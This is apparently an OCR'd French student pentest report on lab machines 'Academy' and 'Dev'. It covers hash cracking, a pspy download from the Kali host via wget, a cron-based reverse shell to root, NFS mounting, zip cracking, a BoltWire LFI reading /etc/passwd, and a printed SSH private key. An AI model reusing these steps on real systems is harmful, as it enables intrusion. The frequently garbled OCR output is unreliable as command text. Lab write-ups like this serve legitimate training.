[+] MySQL5 - SHA-1(SHA-1{%pass))

Figure 44 : Test du type de hash de root
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Apres crack voici ce que nous découvrons :

— hash_sql.txt fusr/share/wordlists/rockyou.txt
hashcat (v .6) starting

OpenCL API (OpenC PoCL 6.@+debian Linux, None+Asserts, RELOC, LLVM 17.@.6, SLEEF, DISTRO, POCL_DEBUG) - Platfo
rm #1 [The poc ]

Core(TM) 19-1350@ & /5898 MB (1024 MB alloc

INFO: ALl hashes

rted: Thu Dec
pped: Thu Dec

5
2

8deb4sf7y

Nous savons maintenant que le mot de passe de root est 26021997.

Nous passons maintenant au hash de l'utilisateur « admin » :

HASH: 21232f297a57a5a743894a0e4a801fc3

Possible Hashs:
[+] MD5
L+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:

[+] RAdmin v2.x

[+] NTLM

[+] MD4

[+] MD2

[+] MD5(HMAC)

[+] MD4(HMAC)

[+] MD2(HMAC)

[+] M HMAC(Wordpress))

[+] Haval-128

[+] Haval-128(HMAC)

[+] RipeMD-128

[+] RipeMD-128(HMAC)

[+] SNEFRU-128

[+] SNEFRU-128(HMAC)

[+] Tiger-128

[+] Tiger—lZS(HMAC)

[+] md5($pass.$salt)

[+] md5($salt.$pass)

[+] md5($salt.$pass.$salt)

[+] md5($salt.$pass.$username)
[+] md5($salt.md5($pass))

[+] md5($salt.md5($pass))

[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($salt.$pass))
[+] md5($salt.md5(md5($pass).$salt))

[+] md5($username.@.$pass)

[+] md5($username.LF.$pass)

[+] md5($username.md5($pass).$salt)
[+] md5(md5($pass))

[+] md5(md5($pass).$salt)

[+] md5(md5($pass).md5($salt))
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Le mot de passe de « admin » est donc « admin » :

@ hash2.txt /usr/share/wordlists/rockyou.txt

RELOC, LLVM 17.8.6, SLEEF, DISTRO, POCL_DEBUG) -

@H, 2917/5898 MB ( 4 MB allo able), 11MCU

chdog: Tempe

required for this atta

Figure 45 : Obtention du mot de passe admin a partir du hash

Nous testons une connexion SSH avec root sans succes :

can't b tablished.
PMDTE9+/4WEg6WKZwlUp@ATptebo.

11@.0@
nission denied,

(public

Figure 46 : Tentative de connexion SSH avec utilisateur root
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Nous tentons également une connexion SSH avec admin sans succes :

Figure 47 : Tentative de connexion SSH avec utilisateur admin

Nous tentons une connexion a la base de données avec root mais sans succes :

www-datafacademy: /var/www /html/academy/studentphoto$ mysql -u root -p
mysgl -u root -p
Enter password:

ERROR 1698 (28000): Access denied for user 'root’'@’localhost’
-data@academy: /var/ww/html/academy/studentphoto$ |

Figure 48 : Tentative de connexion d la base de données avec utilisateur root

Egalement avec admin mais encore sans résultats :

grimmiegacademy:~$ mysql -u admin -p
Enter password:

ERROR 1045 (28000): Access denied for user 'admin'@'localhost' (using password: YES)
grimmiedacademy:~$ [J

Figure 49 : Tentative de connexion a la base de données avec utilisateur root

A partir de ce moment, notre derniére chance était de tester les accés avec
phpMyAdmin. Nous commenc¢ons avec root et admin, mais seuls les acces avec les
identifiants de grimmie ont fonctionné :
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phpMyAdmin
L8le0)4 e

Recent Favorites

i New

#_ 1 information_schema

#— 4 mysql
+_ . onlinecourse

#+. . performance_schema

+_ . phpmyadmin

|| Databases || SQL (§ Status = User accounts | Export [ Import + More

General settings Database server

& Change password « Server: Localhost via UNIX socket

« Server type: MariaDB

« Server connection: S5L is not being
used @

+ Server version: 10.3.27-MariaDB-

= 0+debl0ul - Debian 10
Appearance settings « Protocol version: 10
« User: grimmie@localhost

« Server charset: UTF-8 Unicode
&’ Language @ | English v (utfsmba)

& Server connection collation @: |utf8mb4_unicode_ci v

& Theme: | pmahomme v

« Font size: [82% v Web server

+ Apache/2.4,38 (Debian)

« Database client version: libmysqg| -
mysqind 5.0.12-dev - 20150407 - $Id:
7cc7cc96e675f6d72e5cf0f267f48e167c:
L

« PHP extension: mysqli & mbstring &

+ PHP version: 7.3.27-1~debl0ul

& More settings

phpMyAdmin

e » Version ir—\fgr_mation: 4.9.7, latest stable

Figure 50 : Connexion a phpMyAdmin avec I'utilisateur grimmie

Voici les seules informations utiles que nous trouvons :

dmin

phpMy

Sle ae

Recent Favorites
-

{— o New
£ information_schema
#= 1 mysgl
?_ i onlinecourse
¥ 1 performance_schema
I :
# 1 phpmyadmin

| Databases [/ SQL (§ Status =9 User accounts & Export [« Import ¥ More

Usér accounts overview Usaer groups

User accounts overview

User name Host name Password Global privileges . User group Grant Action

_| grimmie localhost s BLL PRIVILEGES No =) Export
[T pma localhost fas USAGE Mo =l Export
| root localhost flas AL PRIVILEGES fes =l Export

1 )| Check all With selected: & Export

& Add user account

5, Remove selected user accounts |

[Revoke all active privileges from the users and delete them afterwards.)

[ Drop the databases that have the same names as the users.

Go

J_ mliinisohoMyAdmin aets the users' privileoes directlv from MySOL"s orivileoe tables. The content of these tables

Figure 51 : Affichage des droits de I'utilisateur grimmie
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Nous savons maintenant que I'utilisateur « grimmie » a tous les privileges, mais cela
ne nous donne pas plus d’informations sur la procédure d’escalade de privileges. A partir
de ce moment, nous avons beaucoup cherché dans les différents répertoires et fichiers de
« grimmie » mais nous ne trouvons rien de réellement intéressant ou exploitable.

Aprés de nombreuses recherches sur Internet, et également aprés un travail collectif
avec d’autres groupes, nous avons eu connaissance d’un logiciel s’appelant Pspy qui
permet de voir les processus Linux qui tournent en root sans pour autant étre root, vous
trouverez le script dans les sources.

Néanmoins, la difficulté était de lancer le script sur la machine cible. Nous avons
certes téléchargé le script qui se trouve sur la Kali, mais nous n’avions aucune idée de la
procédure pour que la machine Academy puisse obtenir ce script. Nous avons tout d’abord
pensé a mettre en place un serveur FTP mais, aprées avoir effectué des recherches, nous
avons trouvé que la solution la plus simple était d’ouvrir un service HTTP puis faire un
wget, voici comment nous avons procédé sur la machine Kali :

python3 —-m http.server 80 :Cette commande lance un serveur HTTP simple
sur le port 80 (par défaut). Tous les fichiers du répertoire courant seront disponibles en
téléchargement via HTTP.

wget http://10.0.2.5/pspy6lL : Cette commande télécharge le script
pspy64.sh depuis le serveur web hébergé sur Kali.

chmod +x pspy6U: Cela modifie les permissions du fichier pour le rendre
exécutable.

Nous obtenons le fichier depuis la machine distante :

2.5/pspy64
2.5/pspy64

Conne s .
HTTP espons 00 OK
3 application/octet-stream]

3] 2.96M - .-KB/s in @.1s

27.4 MB/s) - 'pspy64' saved [3104768/3104768]

Figure 52 : Réception du script sur la machine cible
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http://10.0.2.5/pspy64.h

Voici ce que nous avons depuis la kali avec le service web ouvert :

691, in process_reque

;~1f.finish_request
File "/usr/lib/python .11;htTp;5afua: py", line 1318, in finish_reque
elf.RequestHandle ] I ¢ lient_address, ;~1+
"{urx,11b,puThon o er.py”, line 671, in __init__

line 755, in __init__

le "/usr/lib/py 3.11/http/server.py”, line 436, in
elf.handle_ ()
"/usr/lib/python3.11/ fserver.py”, line 424, in

ython3.11/http/s er.py”, line 678, in do_GET
self.wfile)
.11/http/server.py Line 877, in copyfile
j{source, output+1le}
ython3.11/shutil.py”, line @, in copyfileob]
fdst_writ
ile "/usr/Llib/python3. 1] : r.py Line , 1n write
elf._sock.sendall(b)
BrokenPipeError: [Errno

10.0.2.8 - - [30/Dec/2024 18: >] "GET /pspy6. /1.1" 200 -

Figure 53 : Console Kali avec les logs du serveur HTTP

Nous avons d’abord essayé de copier le fichier dans le répertoire /etc mais nous
n’avions pas les droits d’ou les erreurs :

grimmiefacademy: $ wzet http://10.8.2.5/pspy6s
—2824-12-3B 12:24:54— http: 5/pspy64
Connecting to 18.8 188 ... EDHHELtEd.

HTTP reguest sent, iting response ... 288 OK

Length: B4768 (3.8M) [application/octet-stream]
pspyb4: Permission denied

Cannot write to ‘pspy64’ (Permission denied).

Figure 54 : Console distante téléchargeant le fichier
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Nous langons le script apres avoir changé les droits pour I’exécuter. Voici ce que nous
obtenons :

3: Printing
nd on inotify

Figure 55 : Lancement du script pspy

Nous réalisons que, sans de nombreuses recherches sur internet ni un travail collectif
avec d’autres groupes, nous n’aurions jamais trouvé la solution. Mais ce qu’il fallait
remarquer, c’est que le fichier backup . sh s’exécutait en root toutes les minutes environ :

Figure 56 : Exécution du script chaque minute
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Il nous suffit juste d’attendre une minute pour que le reverse shell que nous avons
exécuté précédemment fonctionne, et qu’il nous connecte en tant que root :

connect to [18@. . - 1 42846

bash: cannot set t al proce : Inappropriate ioctl for device
bash: no job

rooti

whoam1

root

rootal

flag.txt

this box !
S isn't so secure ...

enjoyed 1it.

us know in the course discord.

Figure 57 : Obtention de I'acces root sur la machine cible

Pour conclure, nous remarquons la marche énorme qu’il y a entre la premiére
machine et la deuxiéme, et que celle-ci a été trés chronophage. Elle nous a permis de
mettre en place les stratégies de base dans un pentest. Cette machine nous a aussi permis
de découvrir les différents outils essentiels que nous réutiliserons dans les machines a

traiter a I'avenir.
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Machine vulnérable 3 : DEV

1. Découverte de I’adresse IP et des services de la machine

Nous recherchons dans un premier temps |’adresse IP de la machine cible :

GmbH
GmbH

Figure 58 : Adresse IP

La machine cible est connectée avec I'adresse IP 172.16.0.5. Nous scannons les ports

avec NMAP :

Host is up
Not shown
PORT

progr
100000
100000
leeooe
lgo000
10000
loeee
lee
10000
leeees
lee
1lo000
100
lee
100
100
lee

1@

| _http-titl

| http-open-proxy
dethods support

port/proto
111/tcp
111/udp

111/tcpé

111/udpé
2049/udp

mountd
mountd

56083/udp
2879/tcp

((Debian))

irtual NIC)

Figure 59 : Découverte des services
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Les services suivants tournent actuellement sur la machine :

e TCP 22 :SSH - OpenSSH v7.9p1 sur Debian 10

e TCP 80 : Serveur Web — Apache 2.4.38 avec une page web « Bolt —Installation
error »

e TCP 111 : Service RPC

e TCP 2049 : NFS v3-4 — port d’écoute pour les échanges de fichiers en réseau
sur les systemes Linux

e TCP 8080 : Serveur Web — Apache 2.4.38 et PHP 7.3.27 avec une page web
« phpinfo »

2. Exploit du protocole NFS

Nous avons vu précédemment que le service NFS est actif sur cette machine. Nous
allons tenter de trouver des failles exploitables sur ce protocole pour obtenir des fichiers :

msfi arch nfs

Matching Modules

_injection

backup

ce_webwork_ognl_injection

r o "
X NE§ Mount Privilege tion Exploit

AfSmount .
/pkernel_callit P 3 et! e rtmapper C E k Buffer Overflow

it/window 2006-11-06 omni-NES
it/window f i e 2009-10-03 Xlink FTP
English . .
ish : : :
2009-10-03 Yes Xlink FTP Server Buffer Overflow

ract with a module by name or index. For example

f6 > use 16

Figure 60 : Liste des exploits concernant NFS sur Metasploit

Notre objectif est de créer un point de montage, nous utilisons donc NFS Mount
Scanner avec les options suivantes :
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msf6 auxiliary( > show options
Module options scanner, s/nfsmount)

Name

HOSTNAME

LHOST 172.16.0. 4

PROTOCOL udp c

RHOSTS t se cs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 111 2

THREADS 1 ye The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

) > set RHOSTS 172

} > run

2.16.0.5 Mountable NFS rt: /srv/nfs [172.16.0.8/12, 10.2.0.0/8, 192.168.8.0/16]
] - Scanned 1 of 1 hosts (1
Auxiliary module execution completed

Figure 61 : Enumération des partages NFS actifs

Nous pouvons donc observer qu’un partage NFS est actif sur le chemin /srv/nfs.
Nous allons donc créer un point de montage sur notre machine Kali dans le répertoire
/mnt/nfsconnect. Voici la commande utilisée pour créer un point de montage
(temporaire puisque non remonté au redémarrage de Kali, pour cela il faudrait modifier le
fichier fstab) :

mount -t [protocol] -o [options] [@IP:chemin] [point
montage]

.

nfs -o vers=3 172.16.0.5:/srv/nfs /mnt/nfsconnect -o nolock

Figure 62 : Montage du partage NFS

L’option vers=3 précise la version de NFS utilisée (nous avons observé sur NMAP
que les versions supportées sont 2 et 3), et I'option nolock désactive le verrouillage des
fichiers NFS, cela peut résoudre des problémes dans certains cas.

Voici le contenu de ce répertoire :

B mnt nfsconnect

EL

save.zZip

Figure 63 : Contenu du partage NFS
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Nous copions cette archive en local pour pouvoir I'examiner. Dans un premier temps,
nous tentons de la dézipper mais le systeme demande un mot de passe pour déverrouiller
I'archive :

save.zip

O Password required

ave.zip'.
Password:

@ Cancel v 0K

Figure 64 : Mot de passe requis pour dézipper I'archive

Nous allons donc utiliser I’outil zip2john pour obtenir le hash de cette archive et ainsi
tenter de retrouver le mot de passe :

/mnt/nfsconnect/save.zip

Figure 65 : Obtention du hash de I'archive

L’outil john va maintenant nous permettre de réaliser un bruteforce sur le hash
obtenu :

Desktop/
ord for

if any.

Figure 66 : Brutorforce sur le hash de I'archive

Nous obtenons le mot de passe de I'archive : javal01. Voici les fichiers découverts
dans cette archive :
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id_rsa todo.txt

1|— Figure out how to install the main website properly, the config file seems correct...
2 - Update development website

3 - Keep coding in Java because it's awesome
4
57p

Figure 67 : Contenu du fichier texte de I'archive

id_rsa

1 ——BEGIN OPENSSH PRIVATE KEY

2 b3BlbnNzaClrZXktdjEAAAAACMFLczI1Ni1jdHIAAAAGYmNYeXBDAAAAGAAAABDVFCI+ea
3 OxXYnmZX4CmL9ZbAAAAEAAAAAEAAAEXAAAAB3NZaC1yc2 EAAAADAQABAAABAQC/KR5=49EL
4 PgkpiTPjvLVnuS3POptOks9qC3uiacuyX33vQBHcI+vEFzkbkgvtO3RRQodNTfTEB181P]
5 3AyGSJeQueomZha8fVHh/y2ZMRjAWRS+2nsT1Z/JONKNWMYEqQKSuhBLsMzhkUEEbw3WLq
6 SekiHCk/@VnPZ8EdMCsMGd j2MUm+ccroGZySFe5SA1z w2BGn jFSS+dERxb7e9tSLeDv4n
7 Wg7 fww2dcG956mh1ZrPau7Gc1hFHQLLUHPEXX3Xp@f5/p6zkk6JACZCKIQj@003ueb6ISC
8 xWgwnbey6XywTi9i7TdfFyCSiFW// jkeczyaQoxI/hyqYfLeiRB3AAADOPHU/4RNETF2ZHUG
9 ks1NM9+C9B+Fpn+nGjRj6/53m3HoBaub/JZyvUvOXNoYNXNKIXHPSr4ytsd8X8xp5zTpil
10 tNmTeoBlkyoi2Uh70yPo4M6VINupSeCzMQIYs,/Wqyasycyvl/yhGAPTZg8ARqop/RTQItI
11 EYVDbTxKxr7JGBfaBPiFWdUIKIN1yBXWMRrIs3SBo0aQ,/ n+CZKQ65mMFRs4VwgpUsRI8y7
12 ZoLZIfwaunV5f10PsCR8rp/2g563gK0bu+ivUgeo+kIMtFNTYEj20a06N/Ed04x/LVhqjY
13 SPZD6w23mPp2I69300p1VpITsHVZtalK1lLv5239gU4514VIxFtcLjR1SAhclktnHwle4u
14 dRZ68IWZ2S4Y8q4ED/H4kGLZsyaf6oLCspGW1YQPhDI2vEKkgRXyFb3tvo617yGECcBzzh
15 wrVuEX0bOc+zDOYgwla/1x1pzK5vGQWaU0jN2ZFEz+vnSPTX3cbgUkLh3ZshuvzoveRx7i+
16 AMOCNiXVmgCGdLg@yBIVBLFIjYxswxTRkNzKYSagEZQNFCT+@H1cZcXKCK8z9a2NvBka,/b
17 rGvuoZul jGgGvMP3Ifdma7PsG3ABGNOgWN19YuMgc4r2WulsQVLVEIGIDjap7 1oNwGCUud
18 T10u2tVn7CFOT/NmuRmh7VUkTagDMf3usX+UIST5SvBy2y9jeR4=x92ZL+AY068Pifldeve
19 753z+GL7eWfbNgd+TIfxPdh82EqE5cmN/ jYOKc@DIMC2 ZVChNCVWQY f4uVQoL,/X0XQXnFT
20 hwdHfnf/SXos28dSM7Kx6B3 jmeZQ60vk0ApasODIgLz5XxZ9GChODwwkastdBSWS7 cwBbB3E
21 PKXqJFks2ZnkyVL1IWBubovnkpcqQzlmxr42zdC52Ic30NYww7H2G7vIFYKt f6tEyzeXG2+
22 rcZw04evibV158rzrA4ibsGRn8+PM86LI/7T5,/Y5pc2T+TAaDjKLRZODtv5SnMvHpigqDus
23 +e/eQk9dTmMPv9 jbqcHeRo7N/Q8EC4VEX]j/pCPydB51Yw/GMb8Bg50pXzADX0ON4zZzDLLGDC
24 LHcAIF6FMa+kLQHKvG1fDIK2xXpLz+HXYCYTS/UAVRtWAdZzQ29uG8zFAopGoQGbNA+caq7z
25 iLUBEWHXJktNenIrfF3rgB3m8SNyNIn+MQS3LIakh1HAQXMIWUZpQE/@tF+VB8XuKRpZvw/
26 gdhLfAhm2gZMQz0elcXWhKmtEQUNntPdPAYfOTZcUtcs/pKNEjNTZz5YnhQgnDbAhS=46UgZ
27 g4xpWBvdzOvBqwF6LXLAPBECT4TOg=

28 END OPENSSH PRIVATE KEY——

Figure 68 : Contenu de la clé SSH

Nous observons donc que le premier fichier est de type texte, il nous apprend que

I"auteur a un nom dont les initiales pourraient étre J P. Le deuxiéme fichier est une clé

privée de connexion a un serveur OpenSSH. Nous verrons par la suite si ces documents

nous seront utiles.
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3. Visite des pages web

Voici la page hébergée par la machine cible sur le port 80 :

=  Bolt- Installation error X +

172.16.0.5

KaliLinux §& KaliTools =« KaliDocs % KaliForums ex Kali NetHunter Exploit-DB Google Hacking DB OffSec

Bolt - Installation error

You've (probably) installed Bolt in the wrong folder.

It's recommended to install Bolt outside the so-called web root, because this is generally seen as 'best
practice', and it is good for overall security. The reason you are seeing this page, is that your web
server is currently serving the incorrect folder as ‘web root'. Or, o put it the other way around: This file
should not be visible.

The current folder is: /var fwwvi/hEmls .

The best and easiest fix for this, is to configure the webserver to use /var/www/html/public/ as the
‘document roof'.

Alternatively, move everything 'up’ one level. So instead of extracting the .zip or .tgz file in this
folder, extract it in /var/wew/ instead. If you do this, you must edit the .bolt.ym1l file as follows, so it
use the correct folder

paths:

web: "Ksitek/html

TIP: copy this snippet now, because you won't see it anymore, after moving the files.

If these options aren't possible for you, please consult the documentation on Installing Bolt, as well as
the page on Troubleshooting 'Outside of the web root’ .

« Bolt documentation - Setup / Installation

« Bolt documentation - Troubleshooting 'Outside of the web root'
+ The Bolt discussion forum

« IRC, Slack or Twitter - Bolt Community

Figure 69 : Page d'erreur d'installation du service Bolt

Il s’agit d’'une page indiquant une erreur d’installation du service Bolt. Voici
maintenant la page hébergée sur le port 8080 :
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] <+

QO A 17216.05

Kali Linux g8 Kali Tools = KaliDocs % KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB

PHP Version 7.3.27-1~deb10ul php
System Linux dev 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

Build Date Feb 13 2021 16:31:40

Server APl Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path fetc/phpy7.3/apache2

Loaded Configuration File fete/php/7.3/apache2/php.ini

Scan this dir for additional .ini files Jetc/phpy7.3/apache2/conf.d

Additional .ini files parsed fetc/phpy7.3/apache2/conf.d/10-mysqlnd.ini, /etc/php/7.3/apache2/conf.d/10-opcache.ini, fetc/

php/7.3/apache2/conf.d/10-pdo.ini, /etc/php/7.3/apache2/conf.d/15-xml.ini, fetc/php/7.3/apache2/
conf.df20-calendar.ini, fetc/php/7.3/apache2/conf.d/20-ctype.ini, fetc/php/7.3/apache2fconf.d/20-
curl.ini, fetc/php/7.3/apache2/conf.d/20-dom.ini. fetc/php/7.3/apache2/conf.df20-exifini. fetc/php/7.3/
apache2/conf.d/20-fileinfo.ini, fetc/php/7.3/apache2/conf.d/20-ftp.ini, Jetc/php/7.3/apache2/conf.d/20-
gd.ini, fetc/php/7.3fapache2/conf.df20-gettext.ini, /fetc/php/7.3/apache2/conf.d/20-iconv.ini, fetc/
php/7.3/apachezjconf.d/20-intl.ini, /etc/php/7.3/apache2/conf.d/20-json.ini, /etc/php/7.3/apachez/
conf.df20-mbstring. ‘ete/php/7.3/apache2/conf.dj20-mysqli.ini, /etc/php/7.3/apache2/conf.d/20-
pdo_mysgl.ini, /etc/php/7.3/apache2/conf.d/20-pdo_sqlite.ini, fetc/php/7.3/apache2/conf.d/20-phar.ini,
fetc/php/7.3/apache2/conf.d/20-posix.ini. /fetc/php/7.3/apache2/conf.d/20-readline.ini. fetc/php/7.3/
apache2/conf.d/20-shmop.ini, fetc/php/7.3/apache2/conf.d/20-simplexml.ini, fetc/php/7.3/apache2/
conf.df20-sockets.ini, fetc/php/7.3/apache2/conf.d/20-sglite3.ini, fetc/php/7.3/apache2/conf.df20-
sysvmsq.ini, fetc/php/7.3/apache2/conf.d/20-sysvsem.ini, fetc/php/7.3fapache2/conf.d/20-
sysvshm.ini, fetc/php/7.3/apache2/conf.d/20-tokenizer.ini, /etc/php/7.3/apache2/conf.d/20-wddx.ini, /
etc/php/7.3/apache2/conf.d/20-xmlireader.ini. /etc/php/7.3/apache2/conf.d/20-xmlwriter.ini, /etc/
php/7.3/apache2/confd/20-xsl.ini, /etc/php/7.3/apache2/conf.d/20-zip.ini

PHP API 20180731

PHP Extension 20180731

Zend Extension 320180731

Zend Extension Build API320180731,NTS
PHP Extension Build API20180731,NTS
Debug Build no

Thread Safety disabled

Zend Signal Handling enabled

Zend Memory Manager enabled

Figure 70 : Page par défaut de PHP

Il s’agit simplement de la page par défaut de PHP présentant les paramétres et
modules définis.

L’'inspection du code HTML ne donne rien pour ces deux pages.

Nous allons maintenant scanner les deux pages web a la recherche de fichiers ou
répertoires stockés sur le serveur a I'aide de I'outil Nikto :

nikto -h [@IP] -p [port]

Voici les résultats pour le premier serveur sur le port 80 :
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(GMT1)

org/en-US/d leb/HTTP/He. me-Options
ntent of the site ina d ent fashion to the H

ln
found (use
t

org/
found.

en(s) reported on r
S (GMT1) (

1 host(s) tested

Figure 71 : Scan Nikto de la page web Bolt

Aprés avoir visité les différents répertoires et fichiers, nous trouvons dans le
répertoire /app/config un fichier config.yml qui nous indique un mot de passe :

config(2).yml

« c @ 5 @ 17216.0. Open ~ &

. e ) 1 # Database setup. The driver can be either 'sqglite’, 'mysql' or 'postgres’.

Kali Linux # KaliTools = Kali Docs 24

3 # For SQLite, only the databasename is required. However, MySQL and PostgreSQL

4 # also require 'username', 'password', and optionally "host' ( and 'port" ) if the
5 # server is not on the same host as the web server.

6 #

Index of /app/config

Name Last modified Size Description 7 # If you're trying out Bolt, just keep it set to SQLite for now.
8 database:
. 9 driver: sglite
& Parent Directory, - 10 databasename: bolt
[# config.yml 2021-06-01 15:38 21K 11 username: bolt
N 12 password: I_love_java
[?) contenttypes.yml 2021-06-01 10:12 12K 13
mextengionsi 2020-10-19 12:51 - 14 # The name of the website
15 sitename: A sample site
@ menu.yml 2021-06-01 10:12 672 16 payoff: The amazing payoff goes here
@ permissions.yml 2021-06-01 10:12 8.3K 17
[# routing.yml 2021-06-01 10:12 3.4K e T

[#) taxonomyyml ~ 2021-06-01 10:12 793

Apache/2.4.38 (Debian) Server at 172.16.0.5 Port 80

20 # Don't edit the provided templates directly, because they _will_ get updated
21 # in next releases. If you wish to modify a default theme, copy its folder, and
22 # change the name here accordingly.

23 theme: base-2018

Figure 72 : Contenu du fichier config.yml

Nous trouvons donc le mot de passe I_love_java, vraisemblablement utilisé pour une

base de données SQLlite.

Malgré tout, nous tentons de trouver un exploit sur la version d’Apache installée sur

le serveur :
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Description

[Bpache 294..0/B0.50 Traversal RCE

2021-05-10

READ_FILE 5 = 5 R e
Lti/http/shiro_rememb ] al Apache o v1.28 Cookie RememberME De

BBEEHE Storm Nimbus getTopologyHistory Unauthenti.

Klog Server authenticate.php user Unauthenticated Command Injection

WordPress PHP r r Command Injection

t

tiens

rrent Settin

pleit/basics/using-m ploit.html

ad options (linu
tting Requi

LHOST
LPORT
(Dropper)
w the full module info with the 0 r ) -d command.

RPORT 80

LHOST to 127.8.0.1. Did you ReverselListenerBindAddress?

80 state=error: record la

Exploit aborted due to failure: not-w
Exploit completed, but no session

Figure 74 : Tentative d'exploit non concluante

L'attaque n’a pas fonctionné en raison d’une erreur liée au SSL. Nous ne perdons pas
de temps sur cette attaque, et nous passons directement au deuxieéme serveur web sur le
port 8080 :
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rame-Options
shion to the MIME type. See: 8 u.netsparker. c

the EOL for the 2.x branch.

with junk HTTP meth
DEBUG HTTP verb how information. B Ft.c s/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?v

/./: Output from the phpinfo() functio
/index.php/ 2 e phpinfo() function was found.

ive information HTTP requests t
per.mo
PHP is ins p s found. This t of s sel 2
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////// /////// Output from ti fo

ion (RFI) from
: Remote File

Figure 75 : Scan Nikto de la page web PHP

Le répertoire /dev semble intéressant puisque Nikto indique qu’un cookie est créé.
Nous visitons cette page web :
YN |

© | of BoltWire

« > C @ QO & 17216.0.5

Kali Linux & KaliTools « KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

WELCOME REGISTER SETUP ADMIN

BoltWire Welcome

Thank you for using

Welcome BoltWire!

Your website has been successfully setup!
To learn more about using BoltWire, take our quick welcome tour online
Want to get more involved in our community? Join our mailing list. Bug

reports, feature requests, and suggestions for code improvement are all
welcome.

Figure 76 : Page web stockée dans /dev

En cliquant sur les différents liens du site web, nous trouvons une page register, sur
laquelle nous pouvons nous inscrire avec les identifiants user/user (choisis arbitrairement
car le site semble autoriser n’importe quelle création de compte) :
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EemP o]
B | & Boltwire X +

<« C @ Q @ or 17216.05

KaliLinux #& KaliTools <« Kali Docs i Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

WELCOME REGISTER SETUP ADMIN

BoltWire Welcome

Thank you for using

Reg ister BoltWire!

To register a new account, please enter a member id and password:

Member: | user

Password:| ssss |REGISTER|

amPo--
o BoltWire

C @ QO & 17216.0.5

KaliLinux # KaliTools « KaliDocs | Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

WELCOME REGISTER SETUP ADMIN

BoltWire Welcome

Thank you for using

. ire!
Reglster BoltWire!

Your member account has been successfully created and you are logged

in. )
You are currently logged in as:

User

Figure 77 : Création d'un utilisateur arbitraire sur le site web

4. Exploit de BoltWire

Apres quelques recherches a propos de BoltWire, nous trouvons un exploit BoltWire
6.03 - Local File Inclusion (voir sources) qui permet d’afficher le contenu d’un fichier en
passant en parametre de I'URL un chemin d’acces. Dans notre cas, cette attague nous
permet de récupérer le contenu du fichier /etc/passwd, listant tous les utilisateurs, leurs
groupes, leurs home ainsi que leur shell par défaut :
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“m PO

ol BoltWire

C @ O & 17216.0.5
Kali Linux #& KaliTools « KaliDocs { Kali Forums X Kali NetHunter = Exploit-DB = Google Hacking DB " OffSec

WELCOME REGISTER SETUP ADMIN

BoltWire Welcome

Thank you for using

ire!
root:x:0:0:root:/root:/bin/bash BoltWire!

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

You are currently logged in as:

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync User
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
Ip:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/shin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nolegin
backup:x:34:34:backup:/var/backups:/usr/shin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbinfnologin
irc:x:39:39:ircd:/var/run/ircd:/usr/shin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:fusr/
sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/shin/nologin

_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/frun/
systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/
systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/
nologin
messagebus:x:104:110::/nonexistent:/usr/shin/nologin
sshd:x:105:65534::/run/sshd:/usr/shin/nologin

I jeanpaul:x:1000:1000:jeanpaul,,,:/home/jeanpaul:/bin/bash I

systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
_rpc:x:107:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:108:65534::/var/lib/nfs:/usr/sbin/nologin

Figure 78 : Exploit permettant d'afficher le contenu de /etc/passwd

Cette manipulation nous permet de voir qu’un utilisateur jeanpaul est présent dans
la liste. Cela concorde avec la signature JP trouvée dans l'archive .zip découverte

précédemment.

5. SSH et escalade de privileges

Cet utilisateur trouvé va pouvoir nous permettre de se connecter en SSH au serveur,
avec la clé privée contenue dans I'archive .zip également :
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1= [ =

Permissions @744 for 'Desktop/id_rsa' ar

It is required that your private key files are NOT accessible by others.
This private key will be ignored.

Load key "Desktop/id_rsa permissions

jeanpaul@l?72.16.0.5"s password:

Figure 79 : Tentative de connexion SSH avec l'utilisateur jeanpaul

Nous obtenons un message d’erreur a la connexion concernant les droits d’acces au
fichier. En effet, les droits 0744 indiquent :

e Propriétaire : Lecture, Ecriture, Exécution
e Groupe : Lecture
e Autres: Lecture

Le shell indique que les autres utilisateurs ne devraient pas avoir acces au fichier.
Nous appliquons donc les droits d’accés 0700 au fichier pour retirer au groupe et aux autres
I'accés en lecture :

chmod 700 [private_key_file]

L

700 Desktop/id_rsa

Figure 80 : Modification des droits d'accés au fichier de la clé privée SSH

Nous pouvons donc maintenant retenter la connexion avec notre clé privée et notre
utilisateur jeanpaul, en testant les mots de passe javalO1 puis I_love_java que nous avons
pu trouver précédemment :
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rom 172.16.0.4

Figure 81 : Connexion a SSH avec la clé privée SSH et le mot de passe

